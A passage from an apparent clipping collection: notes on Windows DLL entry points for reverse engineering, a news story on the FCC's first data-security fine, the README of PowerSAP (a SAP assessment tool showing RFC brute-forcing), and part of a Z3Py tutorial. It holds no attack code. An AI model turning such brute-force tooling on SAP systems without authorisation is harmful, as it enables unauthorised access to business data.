    * A pseudo-export \(unless really exported and I have actually seen it exported\) so you will see it mainly inside programs for analysis e.g. IDA Pro**.** This is actually an entry point of the Portable Executable \(note that on the source code level in high-level languages or RAD tools it is a place holder and it can be customized by a programmer so it can have some ‘funny’ stuff inside\); This is where you start analysis, unless an RCE program finds DllMain for you \(beware that DllMain can be empty yet DLL can be executing some code via modified DllEntryPoint, or .tls, or obviously – via other exports expected for certain types of DLLs\)**.**
  * DllMain 
    * A main function for a non-.NET user-mode DLL \(32- and 64-bit\); does NOT need to be exported, but sometimes is**.** It is called by DllEntryPoint. If the DLL is written in an assembly language, often has the same address as DllEntryPoint**.**
  * \_CorDllMain 
    * NET entry point; it initializes the Common Language Run-Time \(CLR\) and starts the .NET DLL**.** It is called internally by DllEntryPoint on OSs not supporting .NET**.** Sometimes exports named like this are fake.

  * LibMain / LibEntry 
    * DLL initialization entry point \(16-bit\)**.** Newer DLLs use DllMain.
  * DllInstall 
    * Can be quite common, handles installation and setup for a DLL**.** To be executed by regsvr32.exe, a command line argument “/i” needs to be used – as per Microsoft:

To use DllInstall with regsvr32, add a “/i” flag followed by a colon \(:\) and
a string**.** The string will be passed to DllInstall as the pszCmdLine
parameter**.** If you omit the colon and string, pszCmdLine will be set to
NULL**.**

  * \_\_\_DllMainCRTStartup  \(DLLMainCRTStartup\) 
    * Run-time library Startup code**.** Calls DllMain internally.
  * WEP  \(\_WEP\) 
    * Exported by old DLLs \(16-bit\) and is called before the driver DLL is removed from memory \(WEP=Windows Exit Program\)**.**
  * LangDataCall 
    * An export that can be found inside NLS\*.dll on Windows 7; the function is called internally by NaturalLanguage6.dll**.**
  * \_\_\_CPPdebugHook 
    * A debug export often found in the projects created using Borland C++ Builder \(BCB\)/ Delphi**.** It provides a way for a program to communicate with the Borland debugger \(note: it’s not a function, but a variable; debugger finds it and writes “2″ changing the internal state of the RTL component which will result in debugger being notified about the events via RaiseException API with a magic value\)**.**
  * \_\_GetExceptDLLinfo 
    * Another Borland-specific export used by a debugger**.** This one is actually a function which is called anytime the DLL is attached or a new thread is created**.**

If it is a lot and it’s confusing think of it this way:

  * DllEntryPoint is like Start
  * DllMain is like WinMain

for .exe files, and a code execution flow for a DLL is as follows:

If kernel mode DLL:

  * DllInitialize
  * then DLL is doing stuff asynchronously
  * then DllUnload when DLL is unloaded

If user mode DLL, .NET:

  * \_CorDllMain \(if ran on OS supporting .NET\)

If user mode either not a .NET DLL, or .NET DLL used on a OS not supporting
.NET:

  * .tls callbacks \(if exist\)
  * then DllEntryPoint
  * then \_CorDllMain \(if .NET\)

<img src='img/Temp2_3865.png' alt='CorDllMain' />

  * then DLLMainCRTStartup \(if exists\)

<img src='img/Temp2_3864.png' alt='___DllMainCRTStartup' />

  * then either DllEntryPoint or \_\_\_DllMainCRTStartup calls DllMain
  * and asynchronously: 
    * specifically named exports for specific protocols – see list below for examples
    * .tls callbacks depending on circumstances \(loading/unloading, creating/exiting threads\)

****

# FCC imposes first cybersecurity fine

**Created:**| _11/8/2014 7:58:31 PM_  
---|---  
**Updated:**| _11/8/2014 7:58:31 PM_  
**Author:**| __  
**Tags:**| __  
  

# FCC imposes first cybersecurity fine

Charges telecom provider $10 million for negligent private information
policies

<img src='img/Temp2_3056.jpg' />

Private customer information has become a business asset in the connected age,
and as criminals increasingly target large corporations to extract that
information, regulators are being brought to task over how to implement fines
for those who leave their data vulnerable.

The Federal Communications Commission \(FCC\) has become the latest to join
the ranks of regulators imposing fines for data negligence on companies,
announcing on Oct 24 that it will impose its first fine related to data
security on phone providers TerraCom Inc and YourTel America Inc. The FCC is
asking for $10 million regarding the issue.

The Commission alleges that the two companies collected personal information,
including contact information and social security numbers, from customers in a
manner that exposed its customer base to considerable risk of data theft. The
fine was imposed based on the companies’ violation of the Communications Act
of 1934.

Related Stories:

As healthcare data proliferates, threats to security grow \(Part 3\)

The top 5 largest cyberbreaches of 2014 \(for now\)

JPMorgan data breach earns AG attention

In its statement associated with the announcement the FCC said, “We find that
TerraCom, Inc. \(TerraCom\) and YourTel America, Inc. \(YourTel\)
\(collectively, the Companies\) apparently willfully and repeatedly violated
the law when they allegedly: \(i\) failed to properly protect the
confidentiality of consumers’ PI they collected from applicants for the
Companies’ wireless and wired Lifeline telephone services; \(ii\) failed to
employ reasonable data security practices to protect consumers’ PI; \(iii\)
engaged in deceptive and misleading practices by representing to consumers in
the Companies’ privacy policies that they employed appropriate technologies to
protect consumers’ PI when, in fact, they had not; and \(iv\) engaged in
unjust and unreasonable practices by not fully informing consumers that their
PI had been compromised by third-party access.”

More specifically, the FCC says that the companies stored private information
on an Internet page where it was clearly visible to just about anyone. The
companies also failed to alert their customer base once they had been made
aware of the risk, which means that data thieves could potentially have used
the information even after it had been taken down. As TerraCom and YourTel
targeted low income customers the FCC has taken specific issue with such
tactics because subscribers may not have other option available to them.

The news underscores one of the major issues surrounding data braches and
private information. As of yet, no concrete set of regulations or laws has
been established to give organizations a minimum bar for data protection.
While the Federal Trade Commission, Securities and Exchange Commission and
Department of Justice have each previously lead investigations or established
fines following major cyber event, these are generally related to egregious
negligence rather than lack of compliance with set standards.

Though this case specifically uses the Communications Act to slap a fine on
data negligent company, the FCC is not expected to take up the charge as de
facto cybersecurity regulator. That being said, this instance could offer a
potential model for how things will work in the meantime, with industry
regulators imposing cybersecurity fines for their area of expertise.

# airbus-seclab/powersap

**Created:**| _9/4/2017 9:30:22 AM_  
---|---  
**Updated:**| _9/4/2017 9:30:22 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# PowerSAP

PowerSAP is a simple powershell re-implementation of popular & effective
techniques of all public tools _such as_ Bizploit, Metasploit auxiliary
modules, or python scripts available on the Internet. This re-implementation
does not contain any new or undisclosed vulnerability.

PowerSAP allows to reach SAP RFC with .Net connector 'NCo'.

## Credit

All credit goes to:

  * Onapsis - Mariano, Jordan…
  * ERPScan \(@\_chipik\)
  * ERPSEC - Joris van De Vis \(@jvis\)
  * Chris John Riley \(@ChrisJohnRiley\)
  * Agnivesh Sathasivam and Dave Hartley \(@nmonkee\)
  * Martin Gallo \(@MartinGalloAr\)

### What is this repository for?

  * Quick summary: Powershell SAP assessment tool
  * Version: 0.1
  * Dependencies: .Net connector "NCo" https://websmp201.sap-ag.de/public/connectors
  * Configuration: Copy sapnco.dll & sapnco\_utils.dll in NCo\_x86/NCo\_x64 folders.

## Examples

  * Test your .Net Connector 'NCo':

PS C:\PowerSAP\Standalone> .\Get-NCoVersion.ps1

NCo Version: 3.0.13.0 Patch Level: 525 SAP Release: 720

  * How to run testis:

Invoke PS scripts in the Standalone folder.

### Contributions

Feel free to contribute and add features.

### Screenshots

Simple bruteforce attack on SAP RFC

<img
src='img/68747470733a2f2f6169726275732d7365636c61622e6769746875622e696f2f706f7765727361702f5246432d42462e706e67.png'
width='561' height='447' alt='PowerSAP2' />

READ\_TABLE RFC function module call through SOAP request

<img
src='img/68747470733a2f2f6169726275732d7365636c61622e6769746875622e696f2f706f7765727361702f534f41502d726561642d5441424c452e706e67.png'
width='888' height='474' alt='PowerSAP3' />

  

# rise4fun

**Created:**| _12/5/2012 6:20:50 PM_  
---|---  
**Updated:**| _12/5/2012 6:20:50 PM_  
**Author:**| __  
**Tags:**| __  
  

# Z3 API in Python

Z3 is a high performance theorem prover developed at Microsoft Research . Z3
is used in many applications such as: software/hardware verification and
testing, constraint solving, analysis of hybrid systems, security, biology
\(in silico analysis\), and geometrical problems.

This tutorial demonstrates the main capabilities of Z3Py: the Z3 API in Python
. No Python background is needed to read this tutorial. However, it is useful
to learn Python \(a fun language\!\) at some point, and there are many
excellent free resources for doing so \(Python Tutorial \).

The Z3 distribution also contains the **C** , **.Net** and **OCaml** APIs. The
source code of Z3Py is available in the Z3 distribution, feel free to modify
it to meet your needs. The source code also demonstrates how to use new
features in Z3 4.0. Other cool front-ends for Z3 include Scala^Z3  and SBV .

Be sure to follow along with the examples by clicking the **load in editor**
link in the corner. See what Z3Py says, try your own scripts, and experiment\!

Please send feedback, comments and/or corrections to leonardo@microsoft.com .
Your comments are very valuable.

## Getting Started

Let us start with the following simple example:

load in editor

[code]

    x = Int('x')
    y = Int('y')
    solve(x > 2, y < 10, x + 2*y == 7)
[/code]

The function `Int('x')` creates an integer variable in Z3 named `x`. The
`solve` function solves a system of constraints. The example above uses two
variables `x` and `y`, and three constraints. Z3Py like Python uses **=** for
assignment. The operators `<`, `<=`, `>`, `>=`, `==` and `!=` for comparison.
In the example above, the expression `x + 2*y == 7` is a Z3 constraint. Z3 can
solve and crunch formulas.

The next examples show how to use the Z3 formula/expression simplifier.

load in editor

[code]

    x = Int('x')
    y = Int('y')
    print simplify(x + y + 2*x + 3)
    print simplify(x < y + x + 2)
    print simplify(And(x + 1 >= 3, x**2 + x**2 + y**2 + 2 >= 5))
[/code]

By default, Z3Py \(for the web\) displays formulas and expressions using
mathematical notation. As usual, `∧` is the logical and, `∨` is the logical
or, and so on. The command `set_option(html_mode=False)` makes all formulas
and expressions to be displayed in Z3Py notation. This is also the default
mode for the offline version of Z3Py that comes with the Z3 distribution.

load in editor

[code]

    x = Int('x')
    y = Int('y')
    print x**2 + y**2 >= 1
    set_option(html_mode=False)
    print x**2 + y**2 >= 1
[/code]

Z3 provides functions for traversing expressions.

load in editor

[code]

    x = Int('x')
    y = Int('y')
    n = x + y >= 3
    print "num args: ", n.num_args()
    print "children: ", n.children()
    print "1st child:", n.arg(0)
    print "2nd child:", n.arg(1)
    print "operator: ", n.decl()
    print "op name:  ", n.decl().name()
[/code]

Z3 provides all basic mathematical operations. Z3Py uses the same operator
precedence of the Python language. Like Python, `**` is the power operator. Z3
can solve nonlinear _polynomial_ constraints.

load in editor

[code]

    x = Real('x')
    y = Real('y')
    solve(x**2 + y**2 > 3, x**3 + y < 5)
[/code]

The procedure `Real('x')` creates the real variable `x`. Z3Py can represent
arbitrarily large integers, rational numbers \(like in the example above\),
and irrational algebraic numbers. An irrational algebraic number is a root of
a polynomial with integer coefficients. Internally, Z3 represents all these
numbers precisely. The irrational numbers are displayed in decimal notation
for making it easy to read the results.

load in editor

[code]

    x = Real('x')
    y = Real('y')
    solve(x**2 + y**2 == 3, x**3 == 2)
    
    set_option(precision=30)
    print "Solving, and displaying result with 30 decimal places"
    solve(x**2 + y**2 == 3, x**3 == 2)
[/code]

The procedure `set_option` is used to configure the Z3 environment. It is used
to set global configuration options such as how the result is displayed. The
option `set_option(precision=30)` sets the number of decimal places used when
displaying results. The `?` mark in `1.2599210498?` indicates the output is
truncated.

The following example demonstrates a common mistake. The expression `3/2` is a
Python integer and not a Z3 rational number. The example also shows different
ways to create rational numbers in Z3Py. The procedure `Q(num, den)` creates a
Z3 rational where `num` is the numerator and `den` is the denominator. The
`RealVal(1)` creates a Z3 real number representing the number `1`.

load in editor

[code]

    print 1/3
    print RealVal(1)/3
    print Q(1,3)
    
    x = Real('x')
    print x + 1/3
    print x + Q(1,3)
    print x + "1/3"
    print x + 0.25
[/code]

Rational numbers can also be displayed in decimal notation.

load in editor

[code]

    x = Real('x')
    solve(3*x == 1)
    
    set_option(rational_to_decimal=True)
    solve(3*x == 1)
    
    set_option(precision=30)
    solve(3*x == 1)
[/code]

A system of constraints may not have a solution. In this case, we say the
system is **unsatisfiable**.

load in editor

[code]

    x = Real('x')
    solve(x > 4, x < 0)
[/code]

Like in Python, comments begin with the hash character `#` and are terminated
by the end of line. Z3Py does not support comments that span more than one
line.

load in editor

[code]

    # This is a comment
    x = Real('x') # comment: creating x
    print x**2 + 2*x + 2  # comment: printing polynomial
[/code]

## Boolean Logic

Z3 supports Boolean operators: `And`, `Or`, `Not`, `Implies` \(implication\),
`If` \(if-then-else\). Bi-implications are represented using equality `==`.
The following example shows how to solve a simple set of Boolean constraints.

load in editor

[code]

    p = Bool('p')
    q = Bool('q')
    r = Bool('r')
    solve(Implies(p, q), r == Not(q), Or(Not(p), r))
          
[/code]

The Python Boolean constants `True` and `False` can be used to build Z3
Boolean expressions.

load in editor

[code]

    p = Bool('p')
    q = Bool('q')
    print And(p, q, True)
    print simplify(And(p, q, True))
    print simplify(And(p, False))
[/code]

The following example uses a combination of polynomial and Boolean
constraints.

load in editor

[code]

    p = Bool('p')
    x = Real('x')
    solve(Or(x < 5, x > 10), Or(p, x**2 == 2), Not(p))
[/code]

## Solvers

Z3 provides different solvers. The command `solve`, used in the previous
examples, is implemented using the Z3 solver API. The implementation can be
found in the file `z3.py` in the Z3 distribution. The following example
demonstrates the basic Solver API.

load in editor

[code]

    x = Int('x')
    y = Int('y')
    
    s = Solver()
    print s
    
    s.add(x > 10, y == x + 2)
    print s
    print "Solving constraints in the solver s ..."
    print s.check()
    
    print "Create a new scope..."
    s.push()
    s.add(y < 11)
    print s
    print "Solving updated set of constraints..."
    print s.check()
    
    print "Restoring state..."
    s.pop()
    print s
    print "Solving restored set of constraints..."
    print s.check()
[/code]

The command `Solver()` creates a general purpose solver. Constraints can be
added using the method `add`. We say the constraints have been **asserted** in
the solver. The method `check()` solves the asserted constraints. The result
is `sat` \(satisfiable\) if a solution was found. The result is `unsat`
\(unsatisfiable\) if no solution exists. We may also say the system of
asserted constraints is **infeasible**. Finally, a solver may fail to solve a
system of constraints and `unknown` is returned.

In some applications, we want to explore several similar problems that share
several constraints. We can use the commands `push` and `pop` for doing that.
Each solver maintains a stack of assertions. The command `push` creates a new
scope by saving the current stack size. The command `pop` removes any
assertion performed between it and the matching `push`. The `check` method
always operates on the content of solver assertion stack.

The following example shows an example that Z3 cannot solve. The solver
returns `unknown` in this case. Recall that Z3 can solve nonlinear polynomial
constraints, but `2**x` is not a polynomial.

load in editor

[code]

    x = Real('x')
    s = Solver()
    s.add(2**x == 3)
    print s.check()
[/code]

The following example shows how to traverse the constraints asserted into a
solver, and how to collect performance statistics for the `check` method.

load in editor

[code]

    x = Real('x')
    y = Real('y')
    s = Solver()
    s.add(x > 1, y > 1, Or(x + y > 3, x - y < 2))
    print "asserted constraints..."
    for c in s.assertions():
        print c
    
    print s.check()
    print "statistics for the last check method..."
    print s.statistics()
    # Traversing statistics
    for k, v in s.statistics():
        print "%s : %s" % (k, v)
[/code]

The command `check` returns `sat` when Z3 finds a solution for the set of
asserted constraints. We say Z3 **satisfied** the set of constraints. We say
the solution is a **model** for the set of asserted constraints. A model is an
**interpretation** that makes each asserted constraint **true**. The following
example shows the basic methods for inspecting models.

load in editor

[code]

    x, y, z = Reals('x y z')
    s = Solver()
    s.add(x > 1, y > 1, x + y > 3, z - x < 10)
    print s.check()
    
    m = s.model()
    print "x = %s" % m[x]
    
    print "traversing model..."
    for d in m.decls():
        print "%s = %s" % (d.name(), m[d])
[/code]

In the example above, the function `Reals('x y z')` creates the variables.
`x`, `y` and `z`. It is shorthand for:

[code]

    x = Real('x')
    y = Real('y')
    z = Real('z')
    
[/code]

The expression `m[x]` returns the interpretation of `x` in the model `m`. The
expression `"%s = %s" % (d.name(), m[d])` returns a string where the first
`%s` is replaced with the name of `d` \(i.e., `d.name()`\), and the second
`%s` with a textual representation of the interpretation of `d` \(i.e.,
`m[d]`\). Z3Py automatically converts Z3 objects into a textual representation
when needed.

## Arithmetic

Z3 supports real and integer variables. They can be mixed in a single problem.
Like most programming languages, Z3Py will automatically add coercions
converting integer expressions to real ones when needed. The following example
demonstrates different ways to declare integer and real variables.

load in editor

[code]

    x = Real('x')
    y = Int('y')
    a, b, c = Reals('a b c')
    s, r = Ints('s r')
    print x + y + 1 + (a + s)
    print ToReal(y) + c
[/code]

The function `ToReal` casts an integer expression into a real expression.

Z3Py supports all basic arithmetic operations.

load in editor

[code]

    a, b, c = Ints('a b c')
    d, e = Reals('d e')
    solve(a > b + 2,
          a == 2*c + 10,
          c + b <= 1000,
          d >= e)
[/code]

The command `simplify` applies simple transformations on Z3 expressions.

load in editor

[code]

    x, y = Reals('x y')
    # Put expression in sum-of-monomials form
    t = simplify((x + y)**3, som=True)
    print t
    # Use power operator
    t = simplify(t, mul_to_power=True)
    print t
[/code]

The command `help_simplify()` prints all available options. Z3Py allows users
to write option in two styles. The Z3 internal option names start with `:` and
words are separated by `-`. These options can be used in Z3Py. Z3Py also
supports Python-like names, where `:` is suppressed and `-` is replaced with
`_`. The following example demonstrates how to use both styles.

load in editor

[code]

    x, y = Reals('x y')
    # Using Z3 native option names
    print simplify(x == y + 2, ':arith-lhs', True)
    # Using Z3Py option names
    print simplify(x == y + 2, arith_lhs=True)
    
    print "\nAll available options:"
    help_simplify()
[/code]

Z3Py supports arbitrarily large numbers. The following example demonstrates
how to perform basic arithmetic using larger integer, rational and irrational
numbers. Z3Py only supports algebraic irrational numbers . Algebraic
irrational numbers are sufficient for presenting the solutions of systems of
polynomial constraints. Z3Py will always display irrational numbers in decimal
notation since it is more convenient to read. The internal representation can
be extracted using the method `sexpr()`. It displays Z3 internal
representation for mathematical formulas and expressions in s-expression
\(Lisp-like\) notation.

load in editor

[code]

    x, y = Reals('x y')
    solve(x + 10000000000000000000000 == y, y > 20000000000000000)
    
    print Sqrt(2) + Sqrt(3)
    print simplify(Sqrt(2) + Sqrt(3))
    print simplify(Sqrt(2) + Sqrt(3)).sexpr()
    # The sexpr() method is available for any Z3 expression
    print (x + Sqrt(y) * 2).sexpr()
[/code]

## Machine Arithmetic

Modern CPUs and main-stream programming languages use arithmetic over fixed-
size bit-vectors. Machine arithmetic is available in Z3Py as _Bit-Vectors_.
They implement the precise semantics of unsigned and of signed two-complements
arithmetic .

The following example demonstrates how to create bit-vector variables and
constants. The function `BitVec('x', 16)` creates a bit-vector variable in Z3
named `x` with `16` bits. For convenience, integer constants can be used to
create bit-vector expressions in Z3Py. The function `BitVecVal(10, 32)`
creates a bit-vector of size `32` containing the value `10`.

load in editor

[code]

    x = BitVec('x', 16)
    y = BitVec('y', 16)
    print x + 2
    # Internal representation
    print (x + 2).sexpr()
    
    # -1 is equal to 65535 for 16-bit integers 
    print simplify(x + y - 1)
    
    # Creating bit-vector constants
    a = BitVecVal(-1, 16)
    b = BitVecVal(65535, 16)
    print simplify(a == b)
    
    a = BitVecVal(-1, 32)
    b = BitVecVal(65535, 32)
    # -1 is not equal to 65535 for 32-bit integers 
    print simplify(a == b)
[/code]

In contrast to programming languages, such as C, C++, C\#, Java, there is no
distinction between signed and unsigned bit-vectors as numbers. Instead, Z3
provides special signed versions of arithmetical operations where it makes a
difference whether the bit-vector is treated as signed or unsigned. In Z3Py,
the operators `<`, `<=`, `>`, `>=`, `/`, `%` and `>>` correspond to the signed
versions. The corresponding unsigned operators are `ULT`, `ULE`, `UGT`, `UGE`,
`UDiv`, `URem` and `LShR`.

load in editor

[code]

    # Create to bit-vectors of size 32
    x, y = BitVecs('x y', 32)
    
    solve(x + y == 2, x > 0, y > 0)
    
    # Bit-wise operators
    # & bit-wise and
    # | bit-wise or
    # ~ bit-wise not
    solve(x & y == ~y)
    
    solve(x < 0)
    
    # using unsigned version of < 
    solve(ULT(x, 0))
[/code]

The operator `>>` is the arithmetic shift right, and `<<` is the shift left.
The logical shift right is the operator `LShR`.

load in editor

[code]

    # Create to bit-vectors of size 32
    x, y = BitVecs('x y', 32)
    
    solve(x >> 2 == 3)
    
    solve(x << 2 == 3)
    
    solve(x << 2 == 24)
[/code]

## Functions

Unlike programming languages, where functions have side-effects, can throw
exceptions, or never return, functions in Z3 have no side-effects and are
**total**. That is, they are defined on all input values. This includes
functions, such as division. Z3 is based on first-order logic .

Given a constraints such as `x + y > 3`, we have been saying that `x` and `y`
are variables. In many textbooks, `x` and `y` are called uninterpreted
constants. That is, they allow any interpretation that is consistent with the
constraint `x + y > 3`.

More precisely, function and constant symbols in pure first-order logic are
_uninterpreted_ or _free_ , which means that no a priori interpretation is
attached. This is in contrast to functions belonging to the signature of
theories, such as arithmetic where the function `+` has a fixed standard
interpretation \(it adds two numbers\). Uninterpreted functions and constants
are maximally flexible; they allow any interpretation that is consistent with
the constraints over the function or constant.

To illustrate uninterpreted functions and constants let us the uninterpreted
integer constants \(aka variables\) `x`, `y`. Finally let `f` be an
uninterpreted function that takes one argument of type \(aka sort\) integer
and results in an integer value. The example illustrates how one can force an
interpretation where `f` applied twice to `x` results in `x` again, but `f`
applied once to `x` is different from `x`.

load in editor

[code]

    x = Int('x')
    y = Int('y')
    f = Function('f', IntSort(), IntSort())
    solve(f(f(x)) == x, f(x) == y, x != y)
[/code]

The solution \(interpretation\) for `f` should be read as `f(0)` is `1`,
`f(1)` is `0`, and `f(a)` is `1` for all `a` different from `0` and `1`.

In Z3, we can also evaluate expressions in the model for a system of
constraints. The following example shows how to use the `evaluate` method.

load in editor

[code]

    x = Int('x')
    y = Int('y')
    f = Function('f', IntSort(), IntSort())
    s = Solver()
    s.add(f(f(x)) == x, f(x) == y, x != y)
    print s.check()
    m = s.model()
    print "f(f(x)) =", m.evaluate(f(f(x)))
    print "f(x)    =", m.evaluate(f(x))
[/code]

## Satisfiability and Validity

A formula/constraint `F` is **valid** if `F` always evaluates to true for any
assignment of appropriate values to its uninterpreted symbols. A
formula/constraint `F` is **satisfiable** if there is some assignment of
appropriate values to its uninterpreted symbols under which `F` evaluates to
true. Validity is about finding a proof of a statement; satisfiability is
about finding a solution to a set of constraints. Consider a formula `F`
containing `a` and `b`. We can ask whether `F` is valid, that is whether it is
always true for any combination of values for `a` and `b`. If `F` is always
true, then `Not(F)` is always false, and then `Not(F)` will not have any
satisfying assignment \(i.e., solution\); that is, `Not(F)` is unsatisfiable.
That is, `F` is valid precisely when `Not(F)` is not satisfiable \(is
unsatisfiable\). Alternately, `F` is satisfiable if and only if `Not(F)` is
not valid \(is invalid\). The following example proves the deMorgan's law.

The following example redefines the Z3Py function `prove` that receives a
formula as a parameter. This function creates a solver, adds/asserts the
negation of the formula, and check if the negation is unsatisfiable. The
implementation of this function is a simpler version of the Z3Py command
`prove`.

load in editor

[code]

    p, q = Bools('p q')
    demorgan = And(p, q) == Not(Or(Not(p), Not(q)))
    print demorgan
    
    def prove(f):
        s = Solver()
        s.add(Not(f))
        if s.check() == unsat:
            print "proved"
        else:
            print "failed to prove"
    
    print "Proving demorgan..."
    prove(demorgan)
[/code]

## List Comprehensions

Python supports list comprehensions. List comprehensions provide a concise way
to create lists. They can be used to create Z3 expressions and problems in
Z3Py. The following example demonstrates how to use Python list comprehensions
in Z3Py.

load in editor

[code]

    # Create list [1, ..., 5] 
    print [ x + 1 for x in range(5) ]
    
    # Create two lists containg 5 integer variables
    X = [ Int('x%s' % i) for i in range(5) ]
    Y = [ Int('y%s' % i) for i in range(5) ]
    print X
    
    # Create a list containing X[i]+Y[i]
    X_plus_Y = [ X[i] + Y[i] for i in range(5) ]
    print X_plus_Y
    
    # Create a list containing X[i] > Y[i]
    X_gt_Y = [ X[i] > Y[i] for i in range(5) ]
    print X_gt_Y
    
    print And(X_gt_Y)
    
    # Create a 3x3 "matrix" (list of lists) of integer variables
    X = [ [ Int("x_%s_%s" % (i+1, j+1)) for j in range(3) ] 
          for i in range(3) ]
    pp(X)
[/code]

In the example above, the expression `"x%s" % i` returns a string where `%s`
is replaced with the value of `i`.

The command `pp` is similar to `print`, but it uses Z3Py formatter for lists
and tuples instead of Python's formatter.

Z3Py also provides functions for creating vectors of Boolean, Integer and Real
variables. These functions are implemented using list comprehensions.

load in editor

[code]

    X = IntVector('x', 5)
    Y = RealVector('y', 5)
    P = BoolVector('p', 5)
    print X
    print Y
    print P
    print [ y**2 for y in Y ]
    print Sum([ y**2 for y in Y ])
[/code]

## Kinematic Equations

In high school, students learn the kinematic equations. These equations
describe the mathematical relationship between **displacement** \(`d`\),
**time** \(`t`\), **acceleration** \(`a`\), **initial velocity** \(`v_i`\) and
**final velocity** \(`v_f`\). In Z3Py notation, we can write these equations
as:

[code]

       d == v_i * t + (a*t**2)/2,
       v_f == v_i + a*t
    
[/code]

### Problem 1

Ima Hurryin is approaching a stoplight moving with a velocity of `30.0` m/s.
The light turns yellow, and Ima applies the brakes and skids to a stop. If
Ima's acceleration is `-8.00` m/s2, then determine the displacement of the car
during the skidding process.

load in editor

[code]

    d, a, t, v_i, v_f = Reals('d a t v__i v__f')
    
    equations = [
       d == v_i * t + (a*t**2)/2,
       v_f == v_i + a*t,
    ]
    print "Kinematic equations:"
    print equations
    
    # Given v_i, v_f and a, find d
    problem = [
        v_i == 30,
        v_f == 0,
        a   == -8
    ]
    print "Problem:"
    print problem 
    
    print "Solution:"
    solve(equations + problem)
[/code]

### Problem 2

Ben Rushin is waiting at a stoplight. When it finally turns green, Ben
accelerated from rest at a rate of a `6.00` m/s2 for a time of `4.10` seconds.
Determine the displacement of Ben's car during this time period.

load in editor

[code]

    d, a, t, v_i, v_f = Reals('d a t v__i v__f')
    
    equations = [
       d == v_i * t + (a*t**2)/2,
       v_f == v_i + a*t,
    ]
    
    # Given v_i, t and a, find d
    problem = [
        v_i == 0,
        t   == 4.10,
        a   == 6
    ]
    
    solve(equations + problem)
    
    # Display rationals in decimal notation
    set_option(rational_to_decimal=True)
    
    solve(equations + problem)
[/code]

## Bit Tricks

Some low level hacks  are very popular with C programmers. We use some of
these hacks in the Z3 implementation.

### Power of two

This hack is frequently used in C programs \(Z3 included\) to test whether a
machine integer is a power of two. We can use Z3 to prove it really works. The
claim is that `x != 0 && !(x & (x - 1))` is true if and only if `x` is a power
of two.

load in editor

[code]

    x      = BitVec('x', 32)
    powers = [ 2**i for i in range(32) ]
    fast   = And(x != 0, x & (x - 1) == 0)
    slow   = Or([ x == p for p in powers ])
    print fast
    prove(fast == slow)
    
    print "trying to prove buggy version..."
    fast   = x & (x - 1) == 0
    prove(fast == slow)
[/code]

### Opposite signs

The following simple hack can be used to test whether two machine integers
have opposite signs.

load in editor

[code]

    x      = BitVec('x', 32)
    y      = BitVec('y', 32)
    
    # Claim: (x ^ y) < 0 iff x and y have opposite signs
    trick  = (x ^ y) < 0
    
    # Naive way to check if x and y have opposite signs
    opposite = Or(And(x < 0, y >= 0),
                  And(x >= 0, y < 0))
    
    prove(trick == opposite)
[/code]

## Puzzles

### Dog, Cat and Mouse

Consider the following puzzle. Spend exactly 100 dollars and buy exactly 100
animals. Dogs cost 15 dollars, cats cost 1 dollar, and mice cost 25 cents
each. You have to buy at least one of each. How many of each should you buy?

load in editor

[code]

    # Create 3 integer variables
    dog, cat, mouse = Ints('dog cat mouse')
    solve(dog >= 1,   # at least one dog
          cat >= 1,   # at least one cat
          mouse >= 1, # at least one mouse
          # we want to buy 100 animals
          dog + cat + mouse == 100,  
          # We have 100 dollars (10000 cents):
          #   dogs cost 15 dollars (1500 cents), 
          #   cats cost 1 dollar (100 cents), and 
          #   mice cost 25 cents 
          1500 * dog + 100 * cat + 25 * mouse == 10000)
[/code]

### Sudoku

Sudoku  is a very popular puzzle. The goal is to insert the numbers in the
boxes to satisfy only one condition: each row, column and `3x3` box must
contain the digits `1` through `9` exactly once.

<img src='img/Temp2_10615.png' />

The following example encodes the suduko problem in Z3. Different sukudo
instances can be solved by modifying the matrix `instance`. This example makes
heavy use of list comprehensions available in the Python programming language.

load in editor

[code]

    # 9x9 matrix of integer variables
    X = [ [ Int("x_%s_%s" % (i+1, j+1)) for j in range(9) ] 
          for i in range(9) ]
    
    # each cell contains a value in {1, ..., 9}
    cells_c  = [ And(1 <= X[i][j], X[i][j] <= 9) 
                 for i in range(9) for j in range(9) ]
    
    # each row contains a digit at most once
    rows_c   = [ Distinct(X[i]) for i in range(9) ]
    
    # each column contains a digit at most once
    cols_c   = [ Distinct([ X[i][j] for i in range(9) ]) 
                 for j in range(9) ]
    
    # each 3x3 square contains a digit at most once
    sq_c     = [ Distinct([ X[3*i0 + i][3*j0 + j] 
                            for i in range(3) for j in range(3) ]) 
                 for i0 in range(3) for j0 in range(3) ]
    
    sudoku_c = cells_c + rows_c + cols_c + sq_c
    
    # sudoku instance, we use '0' for empty cells
    instance = ((0,0,0,0,9,4,0,3,0),
                (0,0,0,5,1,0,0,0,7),
                (0,8,9,0,0,0,0,4,0),
                (0,0,0,0,0,0,2,0,8),
                (0,6,0,2,0,1,0,5,0),
                (1,0,2,0,0,0,0,0,0),
                (0,7,0,0,0,0,5,2,0),
                (9,0,0,0,6,5,0,0,0),
                (0,4,0,9,7,0,0,0,0))
    
    instance_c = [ If(instance[i][j] == 0, 
                      True, 
                      X[i][j] == instance[i][j]) 
                   for i in range(9) for j in range(9) ]
    
    s = Solver()
    s.add(sudoku_c + instance_c)
    if s.check() == sat:
        m = s.model()
        r = [ [ m.evaluate(X[i][j]) for j in range(9) ] 
              for i in range(9) ]
        print_matrix(r)
    else:
        print "failed to solve"
[/code]

### Eight Queens

The eight queens puzzle is the problem of placing eight chess queens on an 8x8
chessboard so that no two queens attack each other. Thus, a solution requires
that no two queens share the same row, column, or diagonal.

<img src='img/Temp2_10616.png' />

load in editor

[code]

    # We know each queen must be in a different row.
    # So, we represent each queen by a single integer: the column position
    Q = [ Int('Q_%i' % (i + 1)) for i in range(8) ]
    
    # Each queen is in a column {1, ... 8 }
    val_c = [ And(1 <= Q[i], Q[i] <= 8) for i in range(8) ]
    
    # At most one queen per column
    col_c = [ Distinct(Q) ]
    
    # Diagonal constraint
    diag_c = [ If(i == j, 
                  True, 
                  And(Q[i] - Q[j] != i - j, Q[i] - Q[j] != j - i)) 
               for i in range(8) for j in range(i) ]
    
    solve(val_c + col_c + diag_c)
[/code]

## Application: Install Problem

The **install problem** consists of determining whether a new set of packages
can be installed in a system. This application is based on the article OPIUM:
Optimal Package Install/Uninstall Manager . Many packages depend on other
packages to provide some functionality. Each distribution contains a meta-data
file that explicates the requirements of each package of the distribution The
meta-data contains details like the name, version, etc. More importantly, it
contains **depends** and **conflicts** clauses that stipulate which other
packages should be on the system. The depends clauses stipulate which other
